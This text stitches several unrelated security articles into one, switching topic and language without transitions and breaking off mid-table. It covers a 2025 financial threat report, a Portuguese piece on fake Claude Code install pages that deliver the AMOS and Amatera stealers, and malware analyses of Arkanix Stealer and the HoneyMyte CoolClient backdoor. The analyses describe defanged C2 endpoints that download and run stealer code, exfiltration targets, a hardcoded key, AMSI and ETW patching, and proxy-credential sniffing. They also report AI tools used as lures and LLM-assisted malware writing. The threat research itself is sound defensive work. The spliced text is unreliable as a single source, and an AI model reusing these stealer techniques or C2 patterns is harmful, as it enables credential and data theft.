Agentic AI’s impact on ransomware—it’s execution, its success and even who gets to play, is being widely felt. And we’re just getting started.
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In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.
To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.
We analyzed the data for
Phishing
Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.
Banking malware
Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.
Infostealers and the dark web
Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.
In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.
The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)
Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)
Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)
APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)
In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)
Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)
Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)
Attackers actively localize their tactics to maximize relevance and effectiveness.
The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.
Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.
However, this balance shifts significantly at the regional level.
In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.
Distribution of financial phishing pages by category and region, 2025 (download)
The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.
Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.
TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)
Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.
Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.
TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)
In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.
Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)
Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.
In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.
There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.
Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.
Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.
The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.
Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.
With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.
Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.
The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.
The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.
TOP 10 countries with the highest compromised account median (download)
Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.
It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.
Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.
It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.
An example of a post offering a database
The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.
Examples of a post (top) and a site (bottom) offering payment cards
Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.
Examples of a post (top) and a site (bottom) offering bank accounts
Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.
Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.
An example of a message offering compiled databases
Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.
In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.
Examples of posts offering creation of phishing websites
The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.
Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.
Recentemente, discutimos como os agentes maliciosos estão espalhando o infostealer AMOS para macOS por meio do Google Ads, utilizando um chat com um assistente de IA no site real da OpenAI para hospedar instruções maliciosas. Decidimos investigar mais a fundo e identificamos várias campanhas maliciosas semelhantes, nas quais invasores distribuem malware disfarçado de ferramentas populares de IA por meio de anúncios na Pesquisa Google. Se as vítimas estiverem procurando por ferramentas específicas do macOS, a carga implementada será o mesmo AMOS; se estiverem no Windows, será o infostealer Amatera. Essas campanhas usam a popular IA chinesa Doubao, o assistente de IA viral OpenClaw ou o assistente de codificação Claude Code como isca. Isso significa que essas campanhas representam uma ameaça não apenas para usuários domésticos, mas também para organizações.
A realidade é que os funcionários corporativos estão usando cada vez mais assistentes de codificação, como o Claude Code, e agentes de automação de fluxo de trabalho, como o OpenClaw. Isso gera seus próprios riscos e é por isso que muitas organizações ainda precisam aprovar ou pagar pelo acesso a essas ferramentas. Como consequência, alguns funcionários tomam a iniciativa para encontrar por conta própria essas ferramentas modernas e vão direto ao Google. Eles digitam um termo de pesquisa e recebem um link patrocinado que leva a um guia de instalação malicioso. Vamos analisar mais de perto como esse ataque acontece, usando como exemplo uma campanha de distribuição do Claude Code descoberta no início de março.
Um usuário começa a procurar um local para baixar o agente Anthropic e digita algo como “Baixar Claude Code” na barra de pesquisa. O mecanismo de pesquisa retorna uma lista de links, com “links patrocinados” (anúncios pagos) no topo. Um desses anúncios leva o usuário a uma página maliciosa com documentação falsa. Curiosamente, o site em si é construído no Squarespace, um construtor de sites legítimo que ajuda o site dos invasores a ignorar os filtros antiphishing.
Resultados da pesquisa com anúncios na Romênia e no Brasil
O site dos invasores imita meticulosamente a documentação original do Claude Code, incluindo instruções de instalação. Assim como o negócio real, ele solicita que o usuário copie e execute um comando. No entanto, uma vez executado, ele não instala um agente de IA, mas um malware. Essencialmente, esse é apenas outro tipo de ataque ClickFix, que ganhou seu próprio apelido: InstallFix.
Site malicioso que imita as instruções de instalação
Site genuíno do Claude Code com instruções de instalação
Assim como no Claude Code original, o comando para macOS tenta instalar um aplicativo usando o utilitário de linha de comando curl. Na realidade, ele implementa o spyware AMOS, já descrito por nossos especialistas no Securelist, que foi usado em uma campanha anterior semelhante.
No caso do Windows, o malware é instalado usando o utilitário do sistema mshta.exe, que executa aplicativos baseados em HTML em vez de curl, que é usado para o Claude Code genuíno. Esse utilitário implementa o Infostealer Amatera, que coleta dados do navegador, informações da carteira de criptomoedas, bem como informações da pasta do usuário, e os envia para um servidor remoto em 144{.}124.235.102.
O interesse em agentes de IA continua a crescer, e o surgimento de novas ferramentas e sua crescente popularidade estão criando novos vetores de ataque. Especificamente, buscar ferramentas de IA de terceiros pode comprometer o código-fonte local, mas também levar ao comprometimento de segredos, arquivos corporativos confidenciais e contas de usuário.
Para evitar que isso aconteça, a primeira etapa deve ser educar os funcionários sobre esses perigos e os truques usados pelos agentes de ameaças. Isso pode ser feito usando nossa plataforma de treinamento: Kaspersky Automated Security Awareness. Ela também inclui uma lição especializada sobre o uso de IA em ambientes corporativos.
Além disso, recomendamos proteger todos os dispositivos corporativos usando soluções comprovadas de segurança cibernética.
Também sugerimos verificar nosso artigo publicado anteriormente sobre três abordagens para minimizar os riscos do uso de “Shadow AI”.
Discord improves collaboration, but a compromised account can expose credentials, customer data and internal plans. Learn the risks and how to reduce exposure.
The post How Discord Can Expose Corporate Data appeared first on Security Boulevard.
In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.
Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.
In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.
Example of an Arkanix Stealer advertisement
Upon further research utilizing public resources, we identified a set of implants associated with this stealer.
The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.
| MD5 | 208fa7e01f72a50334f3d7607f6b82bf |
| File name | discord_nitro_code_validator_right_aligned.py |
The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.
Variants of Python loaders executing the next stage
Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.
| MD5 | af8fd03c1ec81811acf16d4182f3b5e1 |
| File name | – |
During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.
The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.
Configurable options
Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.
During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.
In the following, we will provide a more detailed description of the Python version’s data collection features.
Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:
Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.
This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:
All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.
Part of the extension list which the stealer utilizes to extract data from
Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.
The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.
The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.
The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:
File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).
We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.
| Module name | Endpoint to download | Details |
| Chrome grabber | /api/chrome-grabber-template/{payload_id} | – |
| Wallet patcher | /api/wallet-patcher/{payload_id} | Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed |
| Extra collector | /api/extra-collector/{payload_id} | Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots |
| HVNC | /hvnc | Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot |
The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.
Decryption routine and template substitution
Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).
| MD5 | a3fc46332dcd0a95e336f6927bae8bb7 |
| File name | ArkanixStealer.exe |
During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:
Entrar
arkanix[.]pw.Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.
Version info
After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.
Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.
The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.
The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:
The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.
| MD5 | 3283f8c54a3ddf0bc0d4111cc1f950c0 |
| File name | – |
This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.
During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.
| Domain | IP | First seen | ASN |
| arkanix[.]pw | 195.246.231[.]60 | Oct 09, 2025 | – |
| arkanix[.]ru | 172.67.186[.]193 | Oct 19, 2025 | – |
Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.
Stealer panel sign-in page
During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).
Feature votes
Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.
Arkanix Crypter
Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:
Referral program ad and corresponding panel interface
Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.
This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.
Example of LLM-specific patterns
Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.
In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.
File hashes
752e3eb5a9c295ee285205fb39b67fc4
c1e4be64f80bc019651f84ef852dfa6c
a8eeda4ae7db3357ed2ee0d94b963eff
c0c04df98b7d1ca9e8c08dd1ffbdd16b
88487ab7a666081721e1dd1999fb9fb2
d42ba771541893eb047a0e835bd4f84e
5f71b83ca752cb128b67dbb1832205a4
208fa7e01f72a50334f3d7607f6b82bf
e27edcdeb44522a9036f5e4cd23f1f0c
ea50282fa1269836a7e87eddb10f95f7
643696a052ea1963e24cfb0531169477
f5765930205719c2ac9d2e26c3b03d8d
576de7a075637122f47d02d4288e3dd6
7888eb4f51413d9382e2b992b667d9f5
3283f8c54a3ddf0bc0d4111cc1f950c0
Domains and IPs
arkanix[.]pw
arkanix[.]ru
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.
An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.
In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.
Variants of CoolClient abusing different software for DLL sideloading (2021–2025)
The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.
Overview of CoolClient execution flow
However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.
In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.
In this latest variant, CoolClient relies on several important files to function properly:
| Filename | Description |
| Sang.exe | Legitimate Sangfor application abused for DLL sideloading. |
| libngs.dll | Malicious DLL used to decrypt loader.dat and execute shellcode. |
| loader.dat | Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here. |
| time.dat | Encrypted configuration file. |
| main.dat | Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here. |
CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.
| Parameter | Actions |
| No parameter | · CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install. |
| install |
|
| work |
|
| passuac |
|
The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.
A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.
CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.
The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.
Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.
The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.
Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers
The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.
| Magic value | Command category |
| CC BB AA FF | Beaconing, status update, configuration. |
| CD BB AA FF | Operational commands such as tunnelling, keylogging and file operations. |
| No magic value | Receive and execute plugin module in memory. |
Below is the command menu to manage client status and beaconing:
| Command ID | Action |
| 0x0 | Send beacon connection |
| 0x1 | Update beacon timestamp |
| 0x2 | Enumerate active user sessions |
| 0x3 | Handle incoming C2 command |
